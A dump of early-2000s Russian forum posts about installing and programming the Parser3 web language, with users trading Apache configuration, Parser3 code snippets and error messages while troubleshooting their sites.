   ^if(def $form:author){ \
      ^MAIN:dbconnect{ \
         ^void:sql{insert into gbook \
            (author, email, date, body) \
         values ( \
            '$form:author', \
            '$form:email', \
            '${date.year}-${date.month}-${date.day}', \
            '$form:text' \
         )} \
      } \
      $response:location[$request:uri]\
   }{ \
      <center>Поле автор обязательно для заполнения</center> \
   } \
} \
\
Получается вроде while(1). \
\
Кто еще тестил пример, это что - так задумано? Переделать-то легко, но в доках зачем такое писать? Товарищи разработчики, ответьте, please.\
\
Все равно: Parser3 - rules.\
"
"377","Сомнения прочь от парсера!\
Если еще остались сомнения - то никто с форума тебе не поможет, даже разработчики самого продукта. А поможет хорошая дока по html."
"378","Нафиг мыло ставить, если с него все назад валится? Тебя ведь никто не заставляет адрес указывать. Помогите, в другой раз - шиш!"
"379","Честно говоря, такой \"каши\" вместо синтаксиса видеть еще не приходилось. Любопытно, что подталкнуло создателей к эдакой экзотике..."
"380","от Вас я письмополучил, не знаю почему вернулось??? %(\
только не пашет всё-равно =(\
вы не подскажите можно ли установить ISS на локальной машине под winXP и откуда его качать???"
"381","Parser - rules."
"384","Поставил альфа-версию, вот и расхлёбывай...\
\
P.S. Какая связь между p3 и ssi?"
"385","Я делаю архив новостей с использованием Парсера. У меня есть файл вида: no title text date, который загружается позже в таблицу. \
могу ли я каким-нибудь запросом на парсере (используя тока средства парсера) выбрать все строки, date которых соответствует критерию поиска (по дате), и скинуть их в отдельную таблицу.\
Если несложно, приведите пример такого кода."
"386","вот что я задал в файле .htaccess:\
\
# задание Главного конфигурационного файла\
# (укажите полный путь)\
SetEnv HTTP_PARSER_ROOT_CONFIG /public_html/cgi-bin/parser3.conf\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /public_html/cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
пути к parser3.cgi и parser3.conf указаны 100% ТОЧНО (см. первую часть темы форума).\
\
файлы примеров (auto.p, p.html и sections.cfg) лежат в дирректории public_html.\
\
При попытке выполнения файла p.html выдает вот такую ГАЛИМАТЬЮ:\
The requested URL /public_html/cgi-bin/parser3.cgi/p.html was not found on this server.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. \
\
Можете посмотреть сами по ссылке http://mobilezone.com.ua/p.html\
\
Права доступа на файлы и папки:\
|\
|--public_html(755)\
|  |--cgi-bin(755)\
|     |--parser3.cgi(644)\
|     |--parser3.conf(644)\
\
Что касается моего хостинга: Linux RedHat 7.1, установил Parser v.3 для Linux RedHat 6.2"
"387","CREATE TEMPORARY TABLE newtable SELECT no, title, text, date FROM oldtable WHERE date=\"ГГГГ-ММ-ДД\";\
\
А если хочешь только средствами парсера - перебирай таблицу строка за строкой и формируй новую таблицу.."
"388","Вместо воплей и причитаний положи в cgi-bin такой скрипт на перле\
\
[code]#!/usr/local/bin/perl\
print \"Content-type: text/plain\\n\\n\";\
foreach $var (sort(keys(%ENV))) {\
    $val = $ENV{$var};\
    $val =~ s|\\n|\\\\n|g;\
    $val =~ s|\"|\\\\\"|g;\
    print \"${var}=\\\"${val}\\\"\\n\";\
}[/code]\
\
обзови его /cgi-bin/printenv.cgi, вызови его через браузер, а полученный текст помести в этот форум - будем разбираться. У тебя, видать, м@дак админ и криво выставленный document root - надо бы удостовериться. Не забудь подправить путь к перлу в заголовке, закачать а ASCII mode и 755 выставить - не хватало еще отовечать на вопросы типа [i]\"А у меня перловые скрипты не запускаются!\"[/i]"
"389","Я просто любопытствую..."
"390","Обещано: \"Поддержка XML, XSL, XPath и DOM\".\
Однако доки практически ничего по XML не содержат (отмечено как TODO). \
Вопрос: будет ли это описано более подробно (и когда)?"
"391","Еще сказано: \"Текст урока появится в ближайшее время. Дата обновления: 11.04.2002\"\
Когда наступит это ближайшее время?\
Сабж весьма интересна.\
\
\
\
"
"392","И активно используется, например, в Имприматуре (там конструкция сайта держится на XSL-шаблонах и XML-контенте, который генерится Парсером) и успешно работает. То что его нет в доке, это ist nicht gut.\
\
У меня где-то валялся draft доки по P3, там есть список всех операторов - если очень нужен XML \"прям здесь и сейчас\" - могу кинуть.."
"395","Ведь парсер -  \"..язык, позволяющий быстро создавать хорошие сайты..\"\
Обрати внимание на слово \"быстро\" и сравни синтаксис p2 и p3 (хоть и глупо делать сравнения слона и бегемота, но когда тебе надо задумываться о том, какую скобку \"тут поствить\"(а когда что-то новое изучаешь всегда думаешь об этом) то на скорость работы это особенно не влияет).\
"
"396","Вот я тормоз"
"397","Запросто.\
Только если новостей будет много => парсер их будет не очень быстро обрабатывать, но все же думаю, быстрее, чем MySQL у моего провайдера :)\
\
Через ^menu сравниваешь на eq дату. Если совпадает, то пихаешь сразу на вывод, или запихиваешь в новую таблицу, с которой потом что-то творишь. Все просто."
"398","а email вот: alex@renesource.lv\
Хотя, как сказали в другом ответе, html-код вроде правильный. Так что буду сервер настраивать."
"399","Боюсь, что кроме как на этом сайте нигде в инете не найдешь доков по html'у, в которых бы описывалось как вставлять инструкции parser'а в html-код. Я что много прошу? Не ссылки и цитаты, а просто кусок кода с инструкцией. Есть на этом сайте хоть одна страница где был бы примитивнейший пример (типа Hello World) но полностью - и html и функция (и еще чего, если надо)?"
"401","$имя_переменной[строка]\
$имя_переменной(выражение)\
$имя_переменной{код}\
\
Ты как-то должен объяснить, что ты хочешь сказать. [] или () гораздо короче и удобнее int и str. С функциями тоже самое. В этом есть как минимум одно преимущество - от тебя всегда требуется четкое понимание того, что ты пишешь. Быстро - вовсе не означает не думая. \"Программировать - значит понимать\" (Ньгард). Parser3 хоть и не требует навыков программирования, но элементарного понимания своими руками написанного кода он все же вправе от тебя ожидать. Если проблема запомнить несколько синтаксических правил - напечатай их на отдельном листике, сами запомнятся через некоторое время. Parser3, самое главное, позволяет на языке более близком (в отличие от php и пр. h; все тоже самое на Parser3 действительно можно сделать гораздо быстрей и удобней) разработчику выражать свои идеи в более лаконичной форме (очевидные преимущества видны уже после первого примера). Он действительно не требует от тебя навыков программирования, но Страуструп за плечами позволит тебе в оценить его преимущества по достоинству.\
\
Parser3 - rules."
"402","&#151;<b>a</b>"
"403","Прочитал тут что тебе удалось-таки настроить этот дренной сервер. Не мог юы ты мне подсказать где у тя были траблы, а то у меня такая же беда была как у тебя???\
или опиши, что ты сделал для того чтобы оно ЗАРАБОТАЛО мне на почту???\
ЗАРАНЕЕ БЛАГОДАРЕН"
"404","можно!!!\
я видел массагу Лужниковского  -  там было выделение жирным и курсивом. \
вот только как???"
"405","http://parser2.parser.ru/forum/info.html"
"406","вот, сделал как ты мне и написал - все пучком... работает... г-м-м-м, а я думал, что парсер попроще Перла - видно ошибался :(\
Вот результат:::\
\
DOCUMENT_ROOT=\"/home/mobilezo/public_html\"\
GATEWAY_INTERFACE=\"CGI/1.1\"\
HTTP_ACCEPT=\"*/*\"\
HTTP_ACCEPT_ENCODING=\"gzip, deflate\"\
HTTP_ACCEPT_LANGUAGE=\"ru\"\
HTTP_CONNECTION=\"Keep-Alive\"\
HTTP_HOST=\"www.mobilezone.com.ua\"\
HTTP_PARSER_ROOT_CONFIG=\"/public_html/cgi-bin/parser3.conf\"\
HTTP_USER_AGENT=\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; NetCaptor 7.0 Beta 5)\"\
PATH=\"/usr/local/pgsql/bin/:/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin:/home/gsa/run:/usr/X11R6/bin:/home/gsa/bin:/usr/local/jpeg-6b\"\
QUERY_STRING=\"\"\
REMOTE_ADDR=\"194.242.53.137\"\
REMOTE_PORT=\"3353\"\
REQUEST_METHOD=\"GET\"\
REQUEST_URI=\"/cgi-bin/printenv.cgi\"\
SCRIPT_FILENAME=\"/home/mobilezo/public_html/cgi-bin/printenv.cgi\"\
SCRIPT_NAME=\"/cgi-bin/printenv.cgi\"\
SERVER_ADDR=\"193.178.145.239\"\
SERVER_ADMIN=\"mobilezo@mobilezone.com.ua\"\
SERVER_NAME=\"www.mobilezone.com.ua\"\
SERVER_PORT=\"80\"\
SERVER_PROTOCOL=\"HTTP/1.1\"\
SERVER_SIGNATURE=\"<ADDRESS>Apache/1.3.24 Server at <A HREF=\\\"mailto:mobilezo@mobilezone.com.ua\\\">www.mobilezone.com.ua</A> Port 80</ADDRESS>\\n\"\
SERVER_SOFTWARE=\"Apache/1.3.24 (Unix) PHP/4.1.2\"\
\
надеюсь, что это шаг к выздоровлению Парсера на моем сервере :)\
[color=red]\
ЖДУ...\
[/color]"
"408","Win 2000 Prof. + Апач \
\
Кладу \
Parser3.exe в директорию cgi-bin\
Папку parser3 c кодировками и sql драйверами кладу в c:/winnt/\
Главный конфигурационный файл кладу в c:/winnt/parser3.conf в нем прописую следующие пути:\
$charsetsdir[c:\\winnt\\parser3\\etc\\parser3.charsets\
$sqldriversdir[c:\\winnt\\parser3\\lib\
\
в файле .htaccess\
SetEnv HTTP_PARSER_ROOT_CONFIG c:/winnt/parser3/parser3.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
пытаюсь запустить парсер из браузера\
http://localhost/cgi-bin/parser3.exe\
в ответ получаю\
read failed: No such file or directory (2), actual filename ''\
exception.type=file.missing\
"
"409","но судя по http://www.parser.ru/forum/?id=380 должен был получить.\
\
на всякий случай постирую на форуме:\
\
У меня апач под виндами стоит локально. Поэтому там настройка совершенно другая.\
\
Попробовал настроить на masterhost.ru (FreeBSD + Apache) -> вроде тоже работает.\
\
вот что у меня на FreeBSD (это ближе к RedHat, чем винды):\
\
закачивал с www.parser.ru следующие файлы\
 - parser3_1_0_0001_freebsd45R_cgi.tar.g\
 - parser3conf_20020424_unix.tar.gz\
\
[code]\
|-cgi-bin\
  |-parser3.cgi\
  |-parser3.conf\
|-etc (создал спец. для парсера)\
  |-parser3\
    |-parser3.charsets\
      |-koi8-r.cfg\
      |-windows-1250.cfg\
      |-windows-1251.cfg\
      |-windows-1257.cfg\
|-www\
  |-parser\
    |-auto.p\
    |-index.html\
    |-sections.cfg\
  |-.htaccess\
[/code]\
 \
на все (кроме www) дал доступ 755 (через SmartFTP)-> на каталоги автоматом давалось а на все файлы давал ручками.\
\
При загрузке (upload) parser3.cgi на сервер первый раз был не в binary mode, так получил ошибку\
---------------------------------------------------------------\
/usr/libexec/ld-elf.so.1: parser3.cgi: Shared object has no run-time symbol table\
[Fri May 3 12:14:03 2002] [error] [client 213.59.3.61] Premature end of script headers: /home/username/cgi-bin/parser3.cgi\
---------------------------------------------------------------\
закачал второй раз в binary - заработало\
\
текстовки:\
----------------parser3.conf------------------------\
[code]\
@auto[]\
^if(def $env:HTTP_PARSER_ROOT_CONFIG){\
    $configdir[$env:HTTP_PARSER_ROOT_CONFIG/..]\
	$charsetsdir[$configdir/parser3.charsets]\
	$sqldriversdir[$configdir/lib]\
}{\
	$charsetsdir[/home/username/etc/parser3.charsets]\
	$sqldriversdir[/home/username/]\
}\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
\
@unhandled_exception[exception;stack]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}\
[/code]\
----------------------------------------\
убрал из конфигурации все лишнее (в смысле к демо не относящееся) - поддержку SQL, некий MAIL и т.д.\
\
\
----------------auto.p------------------------\
[code]\
@navigation[] \
$sections[^table::load[sections.cfg]] \
<table width=\"100%\" border=\"1\"> \
   <tr> \
   ^sections.menu{\
      <td align=\"middle\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
      </td>\
   }\
   </tr> \
</table> \
[/code]\
----------------------------------------\
----------------index.htm------------------------\
[code]\
<html>\
  <body>\
    ^navigation[]\
  </body>\
</html>\
[/code]\
----------------------------------------\
----------------sections.cfg------------------------\
[code]\
section_id	name	uri\
1	Главная		/\
2	Новости		/news/\
3	Контакты	/contacts/\
4	Цены		/price/\
5	Ваше мнение	/gbook/\
[/code]\
----------------------------------------\
в файле разделители - tab'ы\
----------------.htaccess------------------------\
[code]\
#PARSER3 settings\
#SetEnv HTTP_PARSER_ROOT_CONFIG /home/username/cgi-bin/parser3.conf\
\
#назначение обработчиком .html страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
#запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>\
[/code]\
----------------------------------------\
в .htaccess закомментировал SetEnv - я так понял это для parser3.conf, но там IF стоит -> можно полный путь либо здесь (.htaccess) указывать, либо в parser3.conf\
\
Вроде как все. Надеюсь поможет.\
"
"411","[url=http://www.parser.ru/docs/lang/install.htm]Цитирую доку:[/url]\
\
[quote]Если вас не устраивает механизм поиска конфигурационных файлов по-умолчанию (см. Установка и настройка Parser3), вы можете задать их вручную (необходим mod_env):\
[i]#задание переменной окружения с путем к системному parser3.conf \
SetEnv HTTP_PARSER_ROOT_CONFIG /path/to/root/parser3.conf[/i][/quote]У тебя этот путь прописан от основного каталога твоего сайта (от папки public_html) - [b]HTTP_PARSER_ROOT_CONFIG=\"/public_html/cgi-bin/parser3.conf\"[/b] а надо [i]от корневого каталога сервера[/i] (в терминах Винды - от диска с:) - [b]HTTP_PARSER_ROOT_CONFIG=\"/home/mobilezo/public_html/cgi-bin/parser3.conf\"[/b]\
\
[b]2PAF[/b] - надо вам было инсталлятор делать, ребята... Или компилировать всё так, чтобы все файлы лежали в /cgi-bin/parser3/ и автодетектили все пути по мере возможности..."
"412","Теперь положи в основной каталог сервера/виртуального хоста (который DocumentRoot, где у тебя .htaccess лежит) файл index.html с каким-нть текстом, например, \
\
[code]<h1> Дважды два = ^eval[2*2] </h1>[/code]\
\
и открой в браузере http://localhost/index.html. Если парсер перемножил 2*2, то всё OK"
"414","Это всегда делалось строками в .htaccess типа:\
\
[code]ErrorDocument 300 /error.html?e=300\
ErrorDocument 400 /error.html?e=400\
ErrorDocument 401 /error.html?e=401\
ErrorDocument 402 /error.html?e=402\
ErrorDocument 403 /error.html?e=403\
ErrorDocument 404 /error.html?e=404\
ErrorDocument 405 /error.html?e=405\
ErrorDocument 406 /error.html?e=406\
ErrorDocument 408 /error.html?e=408\
ErrorDocument 413 /error.html?e=413\
ErrorDocument 414 /error.html?e=414\
ErrorDocument 500 /error.html?e=500\
ErrorDocument 505 /error.html?e=505[/code]\
\
Если файла не будет на диске, Apache в таком случае попытается открыть /error.html?e=404, если не будет и его - только тогда выдаст  [i]exception.type=file.missing[/i]\
\
"
"415","думаю, что как и в прошлой версии все дело в скобках :)\
[b]тест болда[/b]\
[i]тест италика[/i]"
"419","Список операторов ничего нового не добавит, боюсь..."
"420","вот что выдает в ответ\
need expression (parameter #1)\
eval\
\
c:/home/elitherm.gr/www/index.html(2)\
exception.type=parser.runtime \
-------------------------------------------------------------------\
eval c:/home/localhost/www/index.html(2)"
"421","Надо ^eval(2*2) - RTFM"
"422","Есть ли аналоги ^counter и ^color в новой версии?"
"423","Всем спасибо за помощь \
пошел юзать Parser3"
"424","Как запретить Парсеру обрабатывать часть кода? Например, аплеты и т.д. Он (Парсер) считает что ^ предназначено для него. Есть ли возможность не ставить двойного ^ в части кода?"
"425","А потом\
$applet[^file::load[text;file_name.ext]]\
$applet.text"
"426","[i](void) not a method or [b]j[/b]unction, can not call it[/i]\
\
Спеллчекером по сырцам никто не проходил?"
"427","А чегой-то этот форум стал тэги глотать?"
"428","Смотрю я на это и жалко тебя становиться ;)\
Вот только сам сижу и думаю: к моей \"подключке к серваку\" будет на форуме достаточно ансверов на тему установки или нет? =) правда есть еще путь - маны к апачу почитать =)\
Чего и всем новичкам у нас советую - помогает."
"429","Для $date они предусмотрены? Если нет, то это писец...\
\
Аналог ^header[Last-Modified; ^date[%a, %d %b %Y %H:%M:%S MSK]] разрастается на страницу - приходится, например, делать хэш для названий дней недели и т.д.\
\
Кстати, кто-нибудь может кинуть в меня примером использования форматных строк? Как мне заставить Parser выводить $date_now.minute двузначным числом? Неужто хэш на шестьдесят строк с парами '1' -> '01', '2' -> '02' и т.п. устраивать? [i]Приложение 2[/i] в этом смысле потрясающе информативно...\
"
"430","[quote]Крайне рекомендуется подключать модули (^use[…]) изнутри кода оператора cache, а не делать это статически (@USE).[/quote]Ну-ну…\
         \
Пишем в auto.p в классе @auto[] следующее:\
       \
[code]^cache[/etc/temp/classcache.tmp](600){\
^use[/etc/classes/personal.p]\
^use[/etc/classes/page.p]\
^use[/etc/classes/pageblocks.p]\
^use[/etc/classes/forum.p]\
^use[/etc/classes/security.p]\
}[/code]\
  \
Открываем браузер - всё супер, классы, прописанные в перечисленных файлах, подцепились, подозрительно маленький файл /etc/temp/classcache.tmp на диске образовался. Жмём рефреш и охреневаем - parser заявляет, что не находит описаний вызываемых классов. Проходит 10 минут, кэш устаревает - всё нормально открывается… но один раз на следующие 10 минут… Жопа…\
 \
 "
"431","Угу. Я тоже по этому поводу успел поубиваться...\
Плохо, если нет форматных строк для ^date\
\
Тогда придется получать длину $date_now.minute и смотреть, если она eq 1, то добавляем '0'. Самое простое, что приходит на ум...\
\
Хотя я посокрушался и заметил, что можно вполне обойтись ^date_now.sql-string[]"
"432","Нарял в сети интересную штуку:\
http://viewcvs.sourceforge.net/\
мож прикрутите у себя такую и более никакого нытья про то, что не охота ставить клиента cvs и просьб выложить исходники в архиве не будет."
"433","Но там возникает проблема с тем, что $date_now - строковая переменная, к ней .format не больно то применишь... "
"436","Есть несколько макросов (сорри за старую терминологию!) - @page[title;body] - описывающий HTML-страницу и @single[onecolumn] и @double[left;right] - описывающие, соответственно, одно- и двухколоночный дизайн страниц внутри энтого самого page.\
 \
В файле index.html я пишу [code]^page[Главная страница;\
^double[Здесь у меня навигация;А тут идёт текст]][/code] или [code]^page[А на этой странице мне навигация не нужна;\
^single[А тут идёт текст]][/code]\
  \
Текст \"Главная страница\" должен выводиться и в макросе page (в <title></title>) и в макросе double (в <h1></h1>) - раньше (в П2) я сохранял значение $title в переменную ^var[pagetitle;$title] - и вставлял значение этой переменной сначала в <title>^var[pagetitle]</title>, а затем не менее успешно - изнутри вложенного макроса.\
 \
Теперь же (грёбаное объектно-ориентированное программирование!) переменная, определённая в макросе, из вложенного макроса не видна. Я читаю доку про пользовательские классы и краем сознания понимаю, что способ достать переменную из родительского класса есть, но, то ли от того, что я туп беспросветно, то ли от того дока написана через ж., Я НЕ ПОНИМАЮ, КАК ЭТО СДЕЛАТЬ!\
 "
"439","А можно загружать файлы не с жесткого диска(конструктор file), а откуда-то из сети?"
"440","Допустим, внутри класса class1 определяется пременная var1\
[code]\
@CLASS\
class1\
\
@init_var[str]\
$var1[$str]\
[/code]\
И в классе class2 инициализируется class1, а потом мы хотим его переменную var1\
[code]\
@CLASS\
class2\
\
@init_varFromClass1[dataForVar]\
^class1:init_var[$dataForVar]\
\
@get_varFromClass1\
$class1:var1\
[/code]\
Вот и зовем в коде\
[code]\
^class2:init_varFromClass1[test string]\
^class2:get_varFromClass1[]\
или\
$class1:var1\
[/code]\
Получаем что нужно.\
\
Но лучше определить методы, которые будут возвращать эту переменную - так будет правильней ;-)"
"443","Конструкция [code]$date_now[^date::now[]]\
 \
$week[\
   $.daynames[\
         $.0[Mon]\
         $.1[Tue]\
         $.2[Wed]\
         $.3[Thu]\
         $.4[Fri]\
         $.5[Sat]\
         $.6[Sun]\
   ]\
]\
 \
$response:Last-Modified[\
   $.value[$week.daynames.[$date_now.weekday], $date_now.day.format[%02d] $date_now.month.format[%02d] $date_now.year.format[%04d] $date_now.hour.format[%02d]:$date_now.minute.format[%02d]:$date_now.second.format[%02d] GMT]\
] [/code]\
\
Вызывает ошибку [i]element can not be stored to int\
[b]format[/b][/i].... Почему оно считает, что $date_now.day - не integer, я не понимаю..."
"444","Вложенная в курсивную пару [ i ] пара [ b ] текст болдом  [ / b ] [ / i ] не отображается... ((("
"445","И слепил два макроса в один, добавив лишний ^if(def ...\
\
P.S. Пожалуй, я продолжу делать сайтики на p2.... дело к этому идёт.."
"446","Ибо надо ^date_now.day.format[%02d]\
Идет обращение к методу класса int, каковым является $date_now.day\
Как следует из доки:\
$smth - int\
^smth.format[] - форматированный вывод этого int"
"447","Сегодня много вопросов :) Сами \"виноваты\", приходиться сайт переписывать со 2 под 3 (с немецкого на английский)  :) Было ж все так просто...\
\
\
Странно, но данная конструкция почему-то отказывается работать! Если убираешь перебор - работает. Где грабли?\
\
$sostav[^table::load[parser/price.dat]]\
^sostav.menu{\
<tr>\
  <td align=\"center\" width=\"30%\">\
$photo[^image::measure[foto/$sostav.ssylka]]\
^photo.html[ \
   $.alt[$sostav.ssylka] \
] \
}\
\
\
"
"448","Ошибка? \"Не тот\" результат?"
"449","Что-то не так ;-)"
"450","У меня выдает ошибку:\
\
can not determine image type - no file name extension\
foto/\
\
c:/www/proby.ru/htdocs/sostav.html(11)\
exception.type=image.format \
--------------------------------------------------------------------------------\
measure c:/www/proby.ru/htdocs/sostav.html(11)\
menu c:/www/proby.ru/htdocs/sostav.html(8)\
sostav_all c:/www/proby.ru/htdocs/sostav.html(91)\
if c:/www/proby.ru/htdocs/sostav.html(89)\
body c:/www/proby.ru/htdocs/auto.p(51)\
\
\
Полный код:\
\
@sostav_all[] Отображение всего состава\
\
$sostav[^table::load[parser/price.dat]]\
^sostav.menu{\
<tr>\
  <td align=\"center\" width=\"30%\">\
$photo[^image::measure[foto/$sostav.ссылка_картинки]]\
^photo.html[ \
   $.alt[$sostav.Наименование] \
] \
  </td>\
    <td align=\"center\" width=\"40%\"><br>\
      <b>$sostav.Наименование $sostav.Вес г.<br><font color=\"#808080\">$sostav.гостту</font></b>\
      <p><i>Состав:</i><br>\
      $sostav.состав<br><br>\
      В 100г. продукта содержится:<br>\
      $sostav.в100гсодержится<br><br>\
      Энергетическая ценность - $sostav.эн_ценность ккал.<br>\
      <br>\
          $sostav.перед_употреблением\
          <br><br>\
    </td>\
    <td align=\"center\" width=\"30%\">\
    Срок годности консервов $sostav.хранение года со дня изготовления.\
    <p>Хранить при температуре  воздуха от 0 до +20 <sup>o</sup>С\
      и относительной влажности воздуха не более 75%.</p>\
      <p>Масса нетто $sostav.Вес г.\
    </td>\
  </tr>\
}\
\
"
"451","У меня выдает ошибку:\
\
can not determine image type - no file name extension\
foto/\
\
c:/www/proby.ru/htdocs/sostav.html(11)\
exception.type=image.format \
--------------------------------------------------------------------------------\
measure c:/www/proby.ru/htdocs/sostav.html(11)\
menu c:/www/proby.ru/htdocs/sostav.html(8)\
sostav_all c:/www/proby.ru/htdocs/sostav.html(92)\
body c:/www/proby.ru/htdocs/auto.p(51)\
"
"452","Я тоже исчо очень долго буду работать на p2..:-)\
По крайней мере пока не пойму, что на p3 могу спокойно писать что угодно."
"455","В догонку...  :)\
\
 $price[^table::load[parser/price.dat]]\
\
^if($form:sort==10){^price.sort($price.более)[asc]}\
^if($form:sort==11){^price.sort($price.более)[desc]}\
^if($form:sort==20){^price.sort($price.Наименование)[asc]}\
^if($form:sort==21){^price.sort($price.Наименование)[desc]}\
^if($form:sort==30){^price.sort($price.гостту)[desc]}\
^if($form:sort==31){^price.sort($price.гостту)[asc]}\
^if($form:sort==40){^price.sort($price.Вес)[asc]}\
^if($form:sort==41){^price.sort($price.Вес)[desc]}\
\
^price.menu{\
............\
}\
\
При попытке отсортировать по Наименованию, к примеру, выдает следующее:\
\
invalid number (double)\
Говядина тушеная\
\
c:/www/proby.ru/htdocs/price.html(23)\
exception.type=number.format \
--------------------------------------------------------------------------------\
sort c:/www/proby.ru/htdocs/price.html(86)\
if c:/www/proby.ru/htdocs/price.html(86)\
body c:/www/proby.ru/htdocs/auto.p(51)\
\
Хотя в доке написано:\
\
Функция сортировки - произвольная функция, по текущему значению которой принимается решение о положении строки в отсортированной таблице. Значением функции может быть строка (значения сравниваются в лексикографическом порядке) или число (значения сравниваются как действительные числа). \
\
Опять же, где грабли? Может мне пора уже идти спать?...  :)"
"459","^table.sort(number)[asc|desc]\
но\
^table.sort{string}[asc|desc]\
разницу видишь?\
"
"461","У тебя просто в какой-то строчке parser/price.dat нету ссылки на картинку ($sostav.ssylka - пуста). А прасер пытается делать ^image::measure от директории - foto/\
Понятно дело, не может ;-) Чекать надо такое...\
(Прошлый ответ убил, чтобы никого не вводить в заблуждение)"
"463","На свежую голову и не в 3 часа ночи - много яснее видится ;-)"
"464","вот сижу и мурыжу доку(она настолько хорощо написана, что аж нетрезвое состояние шустро улетучиваеться - 3 бутылки пива и все \"коту под хвост\" - дык средствами p3 !!!!). Обыдно, что не скоро я буду уверен в том, что хорошо знаю как \"строить\" скрипты проеrтов на p3..\
А кто много думал ?????"
"465","Конечно только Дед Пыхто. Кстати, 18 минут 4-го - а ты не спишь...\
:-)"
"467","На каком Парсере вы сейчас проекты делаете: на том что мы иемеем честь штудировать, или на более \"продвинутых птичках\" ?? (надеюсь, что сия инфа не являеться супер-гипер-секретной )  "
"469","Надеюсь на \"болванов\" никто не обидеться. Если все же кому-то обидно, считайте, что я самый главный \"болван\" и вам сразу станет легче. :-)"
"472","За реким исключением, на таких же.\
В некоторых местах (типа, давно сделаны) можно такое старье откопать - мало не покажется (типа 127 или 144 билда 2го парсера) ;-)\
Есть спец-версии под определенные сайты, но они в единичных вариантах и о них что-то отличное от \"есть такое\" знают только те, ктос ними непосредственно работает."
"475","только кверх ногами - а разве есть ноги у пирамид ??? КОнечно нет, а вот у парсера есть, правда не ноги, а лапки :-)"
"477","когда речь идет о ногах(\"..а разве есть ноги у пирамид..\") - то у парера надо писать не крылья (на них же не смог бы парсер стоять!!), а лапки (\"лапы\" тут явно не уместно). На изображение же все ясно - где крылья, а где лапки, кстати, лапки у него более развиты, чем крылья - а это плохой признак, птица не могущая хорошо летать, хорошо бегать не будет (страусов уже матушка-природа изобрела). Стоит также обратиь внимание на туловище: чистой воды конус - соответственно вид снизу(без лапок) - есть просто овал или круг. И не видно нижней части клюва - явно птица не питаеться обычным способом. Но самое страшное -это футболка, в которой парсеренок и стоит, а она(футболка) явно свидетельствует о насильственном методе обращения с объектом(парсеренком) - живое существо не позволит одевать себя в одежду...вообщем пред нами явно не живое существо, а ... просто жестокий вымысел художника. Требуеться редактирование !!!\
:-)  "
"479","Версия 1.3.22 -- устаревшая. Её использование не рекомендуется. ;-) Текущая версия -- Apache 2.0.35. А если уж так нравится ветка 1.3, то уже давно есть 1.3.24. ;-)"
"481","Все понятно, по-моему:\
\
1. я сделал класс sql и буду выносить в него все действия с базой.\
2. в нем такая запись:\
\
@table[query]\
^connect[строка?charset=cp1251_koi8]{\
  $table[^table::sql{$query}]\
}\
\
3. теперь мне нужно из любого класса получить значение $table, после того, как я передам запрос через ^sql:table[]\
\
4. Что получается\
$forum[\
#вызываем сам запрос, результат которого останется в классе скюэль\
 ^sql:table[select * from forum]\
#получаем результат\
 $sql:table\
]"
"482","Проще всего определить глобальную переменную $sitetitle[Заголовок не определен] в корневом файле auto.p, а потом использоать и преопределять ее где угодно.\
\
Раз уж пошли объекты, то можно сделть класс VARS для всего сайта, положить в /classess/ и использовать где угодно.\
[code]\
# vars.p\
@CLASS\
VARS\
\
@init[]\
   $sitetitle[Не определен]\
\
@SetTitle[newtitle]\
   $sitetitle[$newtitle]\
   [i]Здесь можно сделать дополнительные операции[/i]\
\
@GetTitle[]\
   [i]Здесь можно сделать дополнительные операции[/i]\
   $result[$sitetitle]\
\
\
# корневой auto.p\
@auto[]\
  $vars[^VARS::init[]]\
\
\
# index.html\
# А здесь уже используешь\
\
  ^vars.SetTitle[Новости]\
   ...\
\
  <title>^vars.GetTitle[]</title>\
  <body>\
  <h1>^vars.GetTitle[]</h1>\
  </body>\
[/code]\
\
В принципе можно экземпляр объекта и не создавать, а писать ^VARS:init[], ^VARS:GetTitle[]\
\
"
"484","Your browser sent a request that this server could not understand.\
\
Invalid URI in request GET /index.html HTTP/1.1\
\
Этот файл ДОЛЖЕН выводить меню при помощи Парсера (урок номер раз)"
"485","У меня есть \"нечто\" и я хочу приказать парсеру это \"нечто\" преобразовать к виду %02d. Он автоматически должен предположить, что \"нечто\" - это число, а если это не так - громко возмутиться.\
 \
